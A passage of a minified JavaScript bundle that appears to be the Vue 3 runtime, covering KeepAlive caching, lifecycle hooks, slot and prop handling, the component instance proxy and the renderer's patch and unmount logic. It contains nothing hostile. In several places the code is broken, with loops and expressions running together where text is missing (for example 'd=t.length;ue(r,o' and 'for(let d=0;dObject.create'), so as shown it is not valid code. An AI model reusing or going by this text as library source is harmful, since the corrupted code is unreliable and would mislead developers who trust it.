v=a.get(C);v&&(!l||!Un(v,l))?B(v):l&&Au(l),a.delete(C),i.delete(C)}us(()=>[t.include,t.exclude],([C,v])=>{C&&h(m=>fr(C,m)),v&&h(m=>!fr(v,m))},{flush:"post",deep:!0});let w=null;const _=()=>{w!=null&&(dc(s.subTree.type)?gs(()=>{a.set(w,Eo(s.subTree))},s.subTree.suspense):a.set(w,Eo(s.subTree)))};return dt(_),Vc(_),Kc(()=>{a.forEach(C=>{const{subTree:v,suspense:m}=s,y=Eo(v);if(C.type===y.type&&C.key===y.key){Au(y);const k=y.component.da;k&&gs(k,m);return}B(C)})}),()=>{if(w=null,!e.default)return l=null;const C=e.default(),v=C[0];if(C.length>1)return l=null,C;if(!Pa(v)||!(v.shapeFlag&4)&&!(v.shapeFlag&128))return l=null,v;let m=Eo(v);if(m.type===Bs)return l=null,m;const y=m.type,k=md(Ia(m)?m.type.__asyncResolved||{}:y),{include:x,exclude:A,max:S}=t;if(x&&(!k||!fr(x,k))||A&&k&&fr(A,k))return m.shapeFlag&=-257,l=m,v;const L=m.key==null?y:m.key,O=a.get(L);return m.el&&(m=ca(m),v.shapeFlag&128&&(v.ssContent=m)),w=L,O?(m.el=O.el,m.component=O.component,m.transition&&Ma(m,m.transition),m.shapeFlag|=512,i.delete(L),i.add(L)):(i.add(L),S&&i.size>parseInt(S,10)&&b(i.values().next().value)),m.shapeFlag|=256,l=m,dc(v.type)?v:m}}},Px=Mx;function fr(t,e){return Ve(t)?t.some(s=>fr(s,e)):ut(t)?t.split(",").includes(e):KC(t)?(t.lastIndex=0,t.test(e)):!1}function hs(t,e){Vg(t,"a",e)}function as(t,e){Vg(t,"da",e)}function Vg(t,e,s=Os){const n=t.__wdc||(t.__wdc=()=>{let a=s;for(;a;){if(a.isDeactivated)return;a=a.parent}return t()});if(qc(e,n,s),s){let a=s.parent;for(;a&&a.parent;)to(a.parent.vnode)&&Hx(n,e,s,a),a=a.parent}}function Hx(t,e,s,n){const a=qc(e,t,n,!0);It(()=>{Kd(n[e],a)},s)}function Au(t){t.shapeFlag&=-257,t.shapeFlag&=-513}function Eo(t){return t.shapeFlag&128?t.ssContent:t}function qc(t,e,s=Os,n=!1){if(s){const a=s[t]||(s[t]=[]),i=e.__weh||(e.__weh=(...l)=>{Na();const r=Ul(s),o=En(e,s,t,l);return r(),Fa(),o});return n?a.unshift(i):a.push(i),i}}const Ha=t=>(e,s=Os)=>{(!Gi||t==="sp")&&qc(t,(...n)=>e(...n),s)},Kg=Ha("bm"),dt=Ha("m"),op=Ha("bu"),Vc=Ha("u"),Kc=Ha("bum"),It=Ha("um"),Wg=Ha("sp"),Qg=Ha("rtg"),Yg=Ha("rtc");function Zg(t,e=Os){qc("ec",t,e)}const cp="components",Gx="directives";function Ux(t,e){return up(cp,t,!0,e)||t}const Xg=Symbol.for("v-ndc");function $x(t){return ut(t)?up(cp,t,!1)||t:t||Xg}function jx(t){return up(Gx,t)}function up(t,e,s=!0,n=!1){const a=Ls||Os;if(a){const i=a.type;if(t===cp){const r=md(i,!1);if(r&&(r===e||r===Ut(e)||r===qi(Ut(e))))return i}const l=If(a[t]||i[t],e)||If(a.appContext[t],e);return!l&&n?i:l}}function If(t,e){return t&&(t[e]||t[Ut(e)]||t[qi(Ut(e))])}function Jx(t,e,s,n){let a;const i=s&&s[n],l=Ve(t);if(l||ut(t)){const r=l&&Ra(t);let o=!1,c=!1;r&&(o=!vn(t),c=oa(t),t=Uc(t)),a=new Array(t.length);for(let u=0,d=t.length;ue(r,o,void 0,i&&i[o]));else{const r=Object.keys(t);a=new Array(r.length);for(let o=0,c=r.length;o{const i=n.fn(...a);return i&&(i.key=n.key),i}:n.fn)}return t}function qx(t,e,s={},n,a){if(Ls.ce||Ls.parent&&Ia(Ls.parent)&&Ls.parent.ce){const c=Object.keys(s).length>0;return e!=="default"&&(s.name=e),Fr(),pc(Ss,null,[ss("slot",s,n&&n())],c?-2:64)}let i=t[e];i&&i._c&&(i._d=!1),Fr();const l=i&&dp(i(s)),r=s.key||l&&l.key,o=pc(Ss,{key:(r&&!Js(r)?r:`_${e}`)+(!l&&n?"_fb":"")},l||(n?n():[]),l&&t._===1?64:-2);return!a&&o.scopeId&&(o.slotScopeIds=[o.scopeId+"-s"]),i&&i._c&&(i._d=!0),o}function dp(t){return t.some(e=>Pa(e)?!(e.type===Bs||e.type===Ss&&!dp(e.children)):!0)?t:null}function Vx(t,e){const s={};for(const n in t)s[e&&/[A-Z]/.test(n)?`on:${n}`:bl(n)]=t[n];return s}const cd=t=>t?Tm(t)?so(t):cd(t.parent):null,Cr=vt(Object.create(null),{$:t=>t,$el:t=>t.vnode.el,$data:t=>t.data,$props:t=>t.props,$attrs:t=>t.attrs,$slots:t=>t.slots,$refs:t=>t.refs,$parent:t=>cd(t.parent),$root:t=>cd(t.root),$host:t=>t.ce,$emit:t=>t.emit,$options:t=>pp(t),$forceUpdate:t=>t.f||(t.f=()=>{np(t.update)}),$nextTick:t=>t.n||(t.n=ns.bind(t.proxy)),$watch:t=>gx.bind(t)}),Ru=(t,e)=>t!==bt&&!t.__isScriptSetup&&Lt(t,e),ud={get({_:t},e){if(e==="__v_skip")return!0;const{ctx:s,setupState:n,data:a,props:i,accessCache:l,type:r,appContext:o}=t;if(e[0]!=="$"){const p=l[e];if(p!==void 0)switch(p){case 1:return n[e];case 2:return a[e];case 4:return s[e];case 3:return i[e]}else{if(Ru(n,e))return l[e]=1,n[e];if(a!==bt&&Lt(a,e))return l[e]=2,a[e];if(Lt(i,e))return l[e]=3,i[e];if(s!==bt&&Lt(s,e))return l[e]=4,s[e];dd&&(l[e]=0)}}const c=Cr[e];let u,d;if(c)return e==="$attrs"&&Us(t.attrs,"get",""),c(t);if((u=r.__cssModules)&&(u=u[e]))return u;if(s!==bt&&Lt(s,e))return l[e]=4,s[e];if(d=o.config.globalProperties,Lt(d,e))return d[e]},set({_:t},e,s){const{data:n,setupState:a,ctx:i}=t;return Ru(a,e)?(a[e]=s,!0):n!==bt&&Lt(n,e)?(n[e]=s,!0):Lt(t.props,e)||e[0]==="$"&&e.slice(1)in t?!1:(i[e]=s,!0)},has({_:{data:t,setupState:e,accessCache:s,ctx:n,appContext:a,props:i,type:l}},r){let o;return!!(s[r]||t!==bt&&r[0]!=="$"&&Lt(t,r)||Ru(e,r)||Lt(i,r)||Lt(n,r)||Lt(Cr,r)||Lt(a.config.globalProperties,r)||(o=l.__cssModules)&&o[r])},defineProperty(t,e,s){return s.get!=null?t._.accessCache[e]=0:Lt(s,"value")&&this.set(t,e,s.value,null),Reflect.defineProperty(t,e,s)}},Kx=vt({},ud,{get(t,e){if(e!==Symbol.unscopables)return ud.get(t,e,t)},has(t,e){return e[0]!=="_"&&!ty(e)}});function Wx(){return null}function Qx(){return null}function Yx(t){}function Zx(t){}function Xx(){return null}function e0(){}function t0(t,e){return null}function s0(){return em().slots}function n0(){return em().attrs}function em(t){const e=nn();return e.setupContext||(e.setupContext=Om(e))}function Lr(t){return Ve(t)?t.reduce((e,s)=>(e[s]=null,e),{}):t}function a0(t,e){const s=Lr(t);for(const n in e){if(n.startsWith("__skip"))continue;let a=s[n];a?Ve(a)||rt(a)?a=s[n]={type:a,default:e[n]}:a.default=e[n]:a===null&&(a=s[n]={default:e[n]}),a&&e[`__skip_${n}`]&&(a.skipFactory=!0)}return s}function i0(t,e){return!t||!e?t||e:Ve(t)&&Ve(e)?t.concat(e):vt({},Lr(t),Lr(e))}function l0(t,e){const s={};for(const n in t)e.includes(n)||Object.defineProperty(s,n,{enumerable:!0,get:()=>t[n]});return s}function r0(t){const e=nn(),s=Gi;let n=t();Pr(),s&&_l(!1);const a=()=>{Ul(e),s&&_l(!0)},i=()=>{nn()!==e&&e.scope.off(),Pr(),s&&_l(!1)};return Wd(n)&&(n=n.catch(l=>{throw a(),Promise.resolve().then(()=>Promise.resolve().then(i)),l})),[n,()=>{a(),Promise.resolve().then(i)}]}let dd=!0;function o0(t){const e=pp(t),s=t.proxy,n=t.ctx;dd=!1,e.beforeCreate&&Of(e.beforeCreate,t,"bc");const{data:a,computed:i,methods:l,watch:r,provide:o,inject:c,created:u,beforeMount:d,mounted:p,beforeUpdate:B,updated:h,activated:b,deactivated:w,beforeDestroy:_,beforeUnmount:C,destroyed:v,unmounted:m,render:y,renderTracked:k,renderTriggered:x,errorCaptured:A,serverPrefetch:S,expose:L,inheritAttrs:O,components:I,directives:J,filters:ie}=e;if(c&&c0(c,n,null),l)for(const j in l){const N=l[j];rt(N)&&(n[j]=N.bind(s))}if(a){const j=a.call(s,s);Rt(j)&&(t.data=Bi(j))}if(dd=!0,i)for(const j in i){const N=i[j],z=rt(N)?N.bind(s,s):rt(N.get)?N.get.bind(s,s):Ns,ee=!rt(N)&&rt(N.set)?N.set.bind(s):Ns,Q=G({get:z,set:ee});Object.defineProperty(n,j,{enumerable:!0,configurable:!0,get:()=>Q.value,set:Y=>Q.value=Y})}if(r)for(const j in r)tm(r[j],n,s,j);if(o){const j=rt(o)?o.call(s):o;Reflect.ownKeys(j).forEach(N=>{br(N,j[N])})}u&&Of(u,t,"c");function R(j,N){Ve(N)?N.forEach(z=>j(z.bind(s))):N&&j(N.bind(s))}if(R(Kg,d),R(dt,p),R(op,B),R(Vc,h),R(hs,b),R(as,w),R(Zg,A),R(Yg,k),R(Qg,x),R(Kc,C),R(It,m),R(Wg,S),Ve(L))if(L.length){const j=t.exposed||(t.exposed={});L.forEach(N=>{Object.defineProperty(j,N,{get:()=>s[N],set:z=>s[N]=z,enumerable:!0})})}else t.exposed||(t.exposed={});y&&t.render===Ns&&(t.render=y),O!=null&&(t.inheritAttrs=O),I&&(t.components=I),J&&(t.directives=J),S&&rp(t)}function c0(t,e,s=Ns){Ve(t)&&(t=pd(t));for(const n in t){const a=t[n];let i;Rt(a)?"default"in a?i=Fn(a.from||n,a.default,!0):i=Fn(a.from||n):i=Fn(a),bs(i)?Object.defineProperty(e,n,{enumerable:!0,configurable:!0,get:()=>i.value,set:l=>i.value=l}):e[n]=i}}function Of(t,e,s){En(Ve(t)?t.map(n=>n.bind(e.proxy)):t.bind(e.proxy),e,s)}function tm(t,e,s,n){let a=n.includes(".")?Gg(s,n):()=>s[n];if(ut(t)){const i=e[t];rt(i)&&us(a,i)}else if(rt(t))us(a,t.bind(s));else if(Rt(t))if(Ve(t))t.forEach(i=>tm(i,e,s,n));else{const i=rt(t.handler)?t.handler.bind(s):e[t.handler];rt(i)&&us(a,i,t)}}function pp(t){const e=t.type,{mixins:s,extends:n}=e,{mixins:a,optionsCache:i,config:{optionMergeStrategies:l}}=t.appContext,r=i.get(e);let o;return r?o=r:!a.length&&!s&&!n?o=e:(o={},a.length&&a.forEach(c=>cc(o,c,l,!0)),cc(o,e,l)),Rt(e)&&i.set(e,o),o}function cc(t,e,s,n=!1){const{mixins:a,extends:i}=e;i&&cc(t,i,s,!0),a&&a.forEach(l=>cc(t,l,s,!0));for(const l in e)if(!(n&&l==="expose")){const r=u0[l]||s&&s[l];t[l]=r?r(t[l],e[l]):e[l]}return t}const u0={data:Lf,props:Nf,emits:Nf,methods:Br,computed:Br,beforeCreate:Ys,created:Ys,beforeMount:Ys,mounted:Ys,beforeUpdate:Ys,updated:Ys,beforeDestroy:Ys,beforeUnmount:Ys,destroyed:Ys,unmounted:Ys,activated:Ys,deactivated:Ys,errorCaptured:Ys,serverPrefetch:Ys,components:Br,directives:Br,watch:p0,provide:Lf,inject:d0};function Lf(t,e){return e?t?function(){return vt(rt(t)?t.call(this,this):t,rt(e)?e.call(this,this):e)}:e:t}function d0(t,e){return Br(pd(t),pd(e))}function pd(t){if(Ve(t)){const e={};for(let s=0;s{let u,d=bt,p;return Hg(()=>{const B=t[a];Ds(u,B)&&(u=B,c())}),{get(){return o(),s.get?s.get(u):u},set(B){const h=s.set?s.set(B):B;if(!Ds(h,u)&&!(d!==bt&&Ds(B,d)))return;const b=n.vnode.props,w=!!(b&&(e in b||a in b||i in b)&&(`onUpdate:${e}`in b||`onUpdate:${a}`in b||`onUpdate:${i}`in b));w||(u=B,c()),n.emit(`update:${e}`,h),Ds(B,d)&&(Ds(B,h)&&!Ds(h,p)||w&&d!==bt&&!Ds(h,u))&&c(),d=B,p=h}}});return r[Symbol.iterator]=()=>{let o=0;return{next(){return o<2?{value:o++?l||bt:r,done:!1}:{done:!0}}}},r}const nm=(t,e)=>e==="modelValue"||e==="model-value"?t.modelModifiers:t[`${e}Modifiers`]||t[`${Ut(e)}Modifiers`]||t[`${gn(e)}Modifiers`];function g0(t,e,...s){if(t.isUnmounted)return;const n=t.vnode.props||bt;let a=s;const i=e.startsWith("update:"),l=i&&nm(n,e.slice(7));l&&(l.trim&&(a=s.map(u=>ut(u)?u.trim():u)),l.number&&(a=s.map(Mc)));let r,o=n[r=bl(e)]||n[r=bl(Ut(e))];!o&&i&&(o=n[r=bl(gn(e))]),o&&En(o,t,6,a);const c=n[r+"Once"];if(c){if(!t.emitted)t.emitted={};else if(t.emitted[r])return;t.emitted[r]=!0,En(c,t,6,a)}}const m0=new WeakMap;function am(t,e,s=!1){const n=s?m0:e.emitsCache,a=n.get(t);if(a!==void 0)return a;const i=t.emits;let l={},r=!1;if(!rt(t)){const o=c=>{const u=am(c,e,!0);u&&(r=!0,vt(l,u))};!s&&e.mixins.length&&e.mixins.forEach(o),t.extends&&o(t.extends),t.mixins&&t.mixins.forEach(o)}return!i&&!r?(Rt(t)&&n.set(t,null),null):(Ve(i)?i.forEach(o=>l[o]=null):vt(l,i),Rt(t)&&n.set(t,l),l)}function Wc(t,e){return!t||!Ji(e)?!1:(e=e.slice(2).replace(/Once$/,""),Lt(t,e[0].toLowerCase()+e.slice(1))||Lt(t,gn(e))||Lt(t,e))}function Ko(t){const{type:e,vnode:s,proxy:n,withProxy:a,propsOptions:[i],slots:l,attrs:r,emit:o,render:c,renderCache:u,props:d,data:p,setupState:B,ctx:h,inheritAttrs:b}=t,w=Or(t);let _,C;try{if(s.shapeFlag&4){const m=a||n,y=m;_=hn(c.call(y,m,u,d,B,p,h)),C=r}else{const m=e;_=hn(m.length>1?m(d,{attrs:r,slots:l,emit:o}):m(d,null)),C=e.props?r:b0(r)}}catch(m){yr.length=0,Vi(m,t,1),_=ss(Bs)}let v=_;if(C&&b!==!1){const m=Object.keys(C),{shapeFlag:y}=v;m.length&&y&7&&(i&&m.some(Oc)&&(C=C0(C,i)),v=ca(v,C,!1,!0))}return s.dirs&&(v=ca(v,null,!1,!0),v.dirs=v.dirs?v.dirs.concat(s.dirs):s.dirs),s.transition&&Ma(v,s.transition),_=v,Or(w),_}function v0(t,e=!0){let s;for(let n=0;n{let e;for(const s in t)(s==="class"||s==="style"||Ji(s))&&((e||(e={}))[s]=t[s]);return e},C0=(t,e)=>{const s={};for(const n in t)(!Oc(n)||!(n.slice(9)in e))&&(s[n]=t[n]);return s};function y0(t,e,s){const{props:n,children:a,component:i}=t,{props:l,children:r,patchFlag:o}=e,c=i.emitsOptions;if(e.dirs||e.transition)return!0;if(s&&o>=0){if(o&1024)return!0;if(o&16)return n?Ff(n,l,c):!!l;if(o&8){const u=e.dynamicProps;for(let d=0;dObject.create(lm),om=t=>Object.getPrototypeOf(t)===lm;function x0(t,e,s,n=!1){const a={},i=rm();t.propsDefaults=Object.create(null),cm(t,e,a,i);for(const l in t.propsOptions[0])l in a||(a[l]=void 0);s?t.props=n?a:ep(a):t.type.props?t.props=a:t.props=i,t.attrs=i}function w0(t,e,s,n){const{props:a,attrs:i,vnode:{patchFlag:l}}=t,r=Dt(a),[o]=t.propsOptions;let c=!1;if((n||l>0)&&!(l&16)){if(l&8){const u=t.vnode.dynamicProps;for(let d=0;d{o=!0;const[p,B]=um(d,e,!0);vt(l,p),B&&r.push(...B)};!s&&e.mixins.length&&e.mixins.forEach(u),t.extends&&u(t.extends),t.mixins&&t.mixins.forEach(u)}if(!i&&!o)return Rt(t)&&n.set(t,ml),ml;if(Ve(i))for(let u=0;ut==="_"||t==="_ctx"||t==="$stable",Bp=t=>Ve(t)?t.map(hn):[hn(t)],E0=(t,e,s)=>{if(e._n)return e;const n=ap((...a)=>Bp(e(...a)),s);return n._c=!1,n},dm=(t,e,s)=>{const n=t._ctx;for(const a in t){if(fp(a))continue;const i=t[a];if(rt(i))e[a]=E0(a,i,n);else if(i!=null){const l=Bp(i);e[a]=()=>l}}},pm=(t,e)=>{const s=Bp(e);t.slots.default=()=>s},fm=(t,e,s)=>{for(const n in e)(s||!fp(n))&&(t[n]=e[n])},k0=(t,e,s)=>{const n=t.slots=rm();if(t.vnode.shapeFlag&32){const a=e._;a?(fm(n,e,s),s&&ig(n,"_",a,!0)):dm(e,n)}else e&&pm(t,e)},D0=(t,e,s)=>{const{vnode:n,slots:a}=t;let i=!0,l=bt;if(n.shapeFlag&32){const r=e._;r?s&&r===1?i=!1:fm(a,e,s):(i=!e.$stable,dm(e,a)),l=e}else e&&(pm(t,e),l={default:1});if(i)for(const r in a)!fp(r)&&l[r]==null&&delete a[r]},gs=ym;function Bm(t){return gm(t)}function hm(t){return gm(t,kx)}function gm(t,e){const s=Pc();s.__VUE__=!0;const{insert:n,remove:a,patchProp:i,createElement:l,createText:r,createComment:o,setText:c,setElementText:u,parentNode:d,nextSibling:p,setScopeId:B=Ns,insertStaticContent:h}=t,b=(E,M,V,Ce=null,fe=null,be=null,Ae=void 0,W=null,pe=!!M.dynamicChildren)=>{if(E===M)return;E&&!Un(E,M)&&(Ce=de(E),Y(E,fe,be,!0),E=null),M.patchFlag===-2&&(pe=!1,M.dynamicChildren=null);const{type:ne,ref:ke,shapeFlag:we}=M;switch(ne){case ui:w(E,M,V,Ce);break;case Bs:_(E,M,V,Ce);break;case Fi:E==null&&C(M,V,Ce,Ae);break;case Ss:I(E,M,V,Ce,fe,be,Ae,W,pe);break;default:we&1?y(E,M,V,Ce,fe,be,Ae,W,pe):we&6?J(E,M,V,Ce,fe,be,Ae,W,pe):(we&64||we&128)&&ne.process(E,M,V,Ce,fe,be,Ae,W,pe,$)}ke!=null&&fe?xl(ke,E&&E.ref,be,M||E,!M):ke==null&&E&&E.ref!=null&&xl(E.ref,null,be,E,!0)},w=(E,M,V,Ce)=>{if(E==null)n(M.el=r(M.children),V,Ce);else{const fe=M.el=E.el;M.children!==E.children&&c(fe,M.children)}},_=(E,M,V,Ce)=>{E==null?n(M.el=o(M.children||""),V,Ce):M.el=E.el},C=(E,M,V,Ce)=>{[E.el,E.anchor]=h(E.children,M,V,Ce,E.el,E.anchor)},v=({el:E,anchor:M},V,Ce)=>{let fe;for(;E&&E!==M;)fe=p(E),n(E,V,Ce),E=fe;n(M,V,Ce)},m=({el:E,anchor:M})=>{let V;for(;E&&E!==M;)V=p(E),a(E),E=V;a(M)},y=(E,M,V,Ce,fe,be,Ae,W,pe)=>{if(M.type==="svg"?Ae="svg":M.type==="math"&&(Ae="mathml"),E==null)k(M,V,Ce,fe,be,Ae,W,pe);else{const ne=E.el&&E.el._isVueCE?E.el:null;try{ne&&ne._beginPatch(),S(E,M,fe,be,Ae,W,pe)}finally{ne&&ne._endPatch()}}},k=(E,M,V,Ce,fe,be,Ae,W)=>{let pe,ne;const{props:ke,shapeFlag:we,transition:Le,dirs:je}=E;if(pe=E.el=l(E.type,be,ke&&ke.is,ke),we&8?u(pe,E.children):we&16&&A(E.children,pe,null,Ce,fe,Iu(E,be),Ae,W),je&&aa(E,null,Ce,"created"),x(pe,E,E.scopeId,Ae,Ce),ke){for(const lt in ke)lt!=="value"&&!Aa(lt)&&i(pe,lt,null,ke[lt],be,Ce);"value"in ke&&i(pe,"value",null,ke.value,be),(ne=ke.onVnodeBeforeMount)&&pn(ne,Ce,E)}je&&aa(E,null,Ce,"beforeMount");const tt=mm(fe,Le);tt&&Le.beforeEnter(pe),n(pe,M,V),((ne=ke&&ke.onVnodeMounted)||tt||je)&&gs(()=>{try{ne&&pn(ne,Ce,E),tt&&Le.enter(pe),je&&aa(E,null,Ce,"mounted")}finally{}},fe)},x=(E,M,V,Ce,fe)=>{if(V&&B(E,V),Ce)for(let be=0;be{for(let ne=pe;ne{const W=M.el=E.el;let{patchFlag:pe,dynamicChildren:ne,dirs:ke}=M;pe|=E.patchFlag&16;const we=E.props||bt,Le=M.props||bt;let je;if(V&&xi(V,!1),(je=Le.onVnodeBeforeUpdate)&&pn(je,V,M,E),ke&&aa(M,E,V,"beforeUpdate"),V&&xi(V,!0),(we.innerHTML&&Le.innerHTML==null||we.textContent&&Le.textContent==null)&&u(W,""),ne?L(E.dynamicChildren,ne,W,V,Ce,Iu(M,fe),be):Ae||N(E,M,W,null,V,Ce,Iu(M,fe),be,!1),pe>0){if(pe&16)O(W,we,Le,V,fe);else if(pe&2&&we.class!==Le.class&&i(W,"class",null,Le.class,fe),pe&4&&i(W,"style",we.style,Le.style,fe),pe&8){const tt=M.dynamicProps;for(let lt=0;lt{je&&pn(je,V,M,E),ke&&aa(M,E,V,"updated")},Ce)},L=(E,M,V,Ce,fe,be,Ae)=>{for(let W=0;W{if(M!==V){if(M!==bt)for(const be in M)!Aa(be)&&!(be in V)&&i(E,be,M[be],null,fe,Ce);for(const be in V){if(Aa(be))continue;const Ae=V[be],W=M[be];Ae!==W&&be!=="value"&&i(E,be,W,Ae,fe,Ce)}"value"in V&&i(E,"value",M.value,V.value,fe)}},I=(E,M,V,Ce,fe,be,Ae,W,pe)=>{const ne=M.el=E?E.el:r(""),ke=M.anchor=E?E.anchor:r("");let{patchFlag:we,dynamicChildren:Le,slotScopeIds:je}=M;je&&(W=W?W.concat(je):je),E==null?(n(ne,V,Ce),n(ke,V,Ce),A(M.children||[],V,ke,fe,be,Ae,W,pe)):we>0&&we&64&&Le&&E.dynamicChildren&&E.dynamicChildren.length===Le.length?(L(E.dynamicChildren,Le,V,fe,be,Ae,W),(M.key!=null||fe&&M===fe.subTree)&&hp(E,M,!0)):N(E,M,V,ke,fe,be,Ae,W,pe)},J=(E,M,V,Ce,fe,be,Ae,W,pe)=>{M.slotScopeIds=W,E==null?M.shapeFlag&512?fe.ctx.activate(M,V,Ce,Ae,pe):ie(M,V,Ce,fe,be,Ae,pe):te(E,M,pe)},ie=(E,M,V,Ce,fe,be,Ae)=>{const W=E.component=Sm(E,Ce,fe);if(to(E)&&(W.ctx.renderer=$),Am(W,!1,Ae),W.asyncDep){if(fe&&fe.registerDep(W,R,Ae),!E.el){const pe=W.subTree=ss(Bs);_(null,pe,M,V),E.placeholder=pe.el}}else R(W,E,M,V,fe,be,Ae)},te=(E,M,V)=>{const Ce=M.component=E.component;if(y0(E,M,V))if(Ce.asyncDep&&!Ce.asyncResolved){j(Ce,M,V);return}else Ce.next=M,Ce.update();else M.el=E.el,Ce.vnode=M},R=(E,M,V,Ce,fe,be,Ae)=>{const W=()=>{if(E.isMounted){let{next:we,bu:Le,u:je,parent:tt,vnode:lt}=E;{const st=vm(E);if(st){we&&(we.el=lt.el,j(E,we,Ae)),st.asyncDep.then(()=>{gs(()=>{E.isUnmounted||ne()},fe)});return}}let ae=we,Se;xi(E,!1),we?(we.el=lt.el,j(E,we,Ae)):we=lt,Le&&Cl(Le),(Se=we.props&&we.props.onVnodeBeforeUpdate)&&pn(Se,tt,we,lt),xi(E,!0);const Te=Ko(E),$e=E.subTree;E.subTree=Te,b($e,Te,d($e.el),de($e),E,fe,be),we.el=Te.el,ae===null&&Qc(E,Te.el),je&&gs(je,fe),(Se=we.props&&we.props.onVnodeUpdated)&&gs(()=>pn(Se,tt,we,lt),fe)}else{let we;const{el:Le,props:je}=M,{bm:tt,m:lt,parent:ae,root:Se,type:Te}=E,$e=Ia(M);if(xi(E,!1),tt&&Cl(tt),!$e&&(we=je&&je.onVnodeBeforeMount)&&pn(we,ae,M),xi(E,!0),Le&&De){const st=()=>{E.subTree=Ko(E),De(Le,E.subTree,E,fe,null)};$e&&Te.__asyncHydrate?Te.__asyncHydrate(Le,E,st):st()}else{Se.ce&&Se.ce._hasShadowRoot()&&Se.ce._injectChildStyle(Te,E.parent?E.parent.type:void 0);const st=E.subTree=Ko(E);b(null,st,V,Ce,E,fe,be),M.el=st.el}if(lt&&gs(lt,fe),!$e&&(we=je&&je.onVnodeMounted)){const st=M;gs(()=>pn(we,ae,st),fe)}(M.shapeFlag&256||ae&&Ia(ae.vnode)&&ae.vnode.shapeFlag&256)&&E.a&&gs(E.a,fe),E.isMounted=!0,M=V=Ce=null}};E.scope.on();const pe=E.effect=new Sr(W);E.scope.off();const ne=E.update=pe.run.bind(pe),ke=E.job=pe.runIfDirty.bind(pe);ke.i=E,ke.id=E.uid,pe.scheduler=()=>np(ke),xi(E,!0),ne()},j=(E,M,V)=>{M.component=E;const Ce=E.vnode.props;E.vnode=M,E.next=null,w0(E,M.props,Ce,V),D0(E,M.children,V),Na(),_f(E),Fa()},N=(E,M,V,Ce,fe,be,Ae,W,pe=!1)=>{const ne=E&&E.children,ke=E?E.shapeFlag:0,we=M.children,{patchFlag:Le,shapeFlag:je}=M;if(Le>0){if(Le&128){ee(ne,we,V,Ce,fe,be,Ae,W,pe);return}else if(Le&256){z(ne,we,V,Ce,fe,be,Ae,W,pe);return}}je&8?(ke&16&&Ge(ne,fe,be),we!==ne&&u(V,we)):ke&16?je&16?ee(ne,we,V,Ce,fe,be,Ae,W,pe):Ge(ne,fe,be,!0):(ke&8&&u(V,""),je&16&&A(we,V,Ce,fe,be,Ae,W,pe))},z=(E,M,V,Ce,fe,be,Ae,W,pe)=>{E=E||ml,M=M||ml;const ne=E.length,ke=M.length,we=Math.min(ne,ke);let Le;for(Le=0;Leke?Ge(E,fe,be,!0,!1,we):A(M,V,Ce,fe,be,Ae,W,pe,we)},ee=(E,M,V,Ce,fe,be,Ae,W,pe)=>{let ne=0;const ke=M.length;let we=E.length-1,Le=ke-1;for(;ne<=we&&ne<=Le;){const je=E[ne],tt=M[ne]=pe?xa(M[ne]):hn(M[ne]);if(Un(je,tt))b(je,tt,V,null,fe,be,Ae,W,pe);else break;ne++}for(;ne<=we&&ne<=Le;){const je=E[we],tt=M[Le]=pe?xa(M[Le]):hn(M[Le]);if(Un(je,tt))b(je,tt,V,null,fe,be,Ae,W,pe);else break;we--,Le--}if(ne>we){if(ne<=Le){const je=Le+1,tt=jeLe)for(;ne<=we;)Y(E[ne],fe,be,!0),ne++;else{const je=ne,tt=ne,lt=new Map;for(ne=tt;ne<=Le;ne++){const Ue=M[ne]=pe?xa(M[ne]):hn(M[ne]);Ue.key!=null&<.set(Ue.key,ne)}let ae,Se=0;const Te=Le-tt+1;let $e=!1,st=0;const le=new Array(Te);for(ne=0;ne=Te){Y(Ue,fe,be,!0);continue}let Oe;if(Ue.key!=null)Oe=lt.get(Ue.key);else for(ae=tt;ae<=Le;ae++)if(le[ae-tt]===0&&Un(Ue,M[ae])){Oe=ae;break}Oe===void 0?Y(Ue,fe,be,!0):(le[Oe-tt]=ne+1,Oe>=st?st=Oe:$e=!0,b(Ue,M[Oe],V,null,fe,be,Ae,W,pe),Se++)}const Fe=$e?S0(le):ml;for(ae=Fe.length-1,ne=Te-1;ne>=0;ne--){const Ue=tt+ne,Oe=M[Ue],He=M[Ue+1],me=Ue+1{const{el:be,type:Ae,transition:W,children:pe,shapeFlag:ne}=E;if(ne&6){Q(E.component.subTree,M,V,Ce);return}if(ne&128){E.suspense.move(M,V,Ce);return}if(ne&64){Ae.move(E,M,V,$);return}if(Ae===Ss){n(be,M,V);for(let we=0;weW.enter(be),fe));else{const{leave:we,delayLeave:Le,afterLeave:je}=W,tt=()=>{E.ctx.isUnmounted?a(be):n(be,M,V)},lt=()=>{const ae=be._isLeaving||!!be[In];be._isLeaving&&be[In](!0),W.persisted&&!ae?tt():we(be,()=>{tt(),je&&je()})};Le?Le(be,tt,lt):lt()}else n(be,M,V)},Y=(E,M,V,Ce=!1,fe=!1)=>{const{type:be,props:Ae,ref:W,children:pe,dynamicChildren:ne,shapeFlag:ke,patchFlag:we,dirs:Le,cacheIndex:je,memo:tt}=E;if(we===-2&&(fe=!1),W!=null&&(Na(),xl(W,null,V,E,!0),Fa()),je!=null&&(M.renderCache[je]=void 0),ke&256){M.ctx.deactivate(E);return}const lt=ke&1&&Le,ae=!Ia(E);let Se;if(ae&&(Se=Ae&&Ae.onVnodeBeforeUnmount)&&pn(Se,M,E),ke&6)_e(E.component,V,Ce);else{if(ke&128){E.suspense.unmount(V,Ce);return}lt&&aa(E,null,M,"beforeUnmount"),ke&64?E.type.remove(E,M,V,$,Ce):ne&&!ne.hasOnce&&(be!==Ss||we>0&&we&64)?Ge(ne,M,V,!1,!0):(be===Ss&&we&384||!fe&&ke&16)&&Ge(pe,M,V),Ce&&re(E)}const Te=tt!=null&&je==null;(ae&&(Se=Ae&&Ae.onVnodeUnmounted)||lt||Te)&&gs(()=>{Se&&pn(Se,M,E),lt&&aa(E,null,M,"unmounted"),Te&&(E.el=null)},V)},re=E=>{const{type:M,el:V,anchor:Ce,transition:fe}=E;if(M===Ss){K(V,Ce);return}if(M===Fi){m(E);return}const be=()=>{a(V),fe&&!fe.persisted&&fe.afterLeave&&fe.afterLeave()};if(E.shapeFlag&1&&fe&&!fe.persisted){const{leave:Ae,delayLeave:W}=fe,pe=()=>Ae(V,be);W?W(E.el,be,pe):pe()}else be()},K=(E,M)=>{let 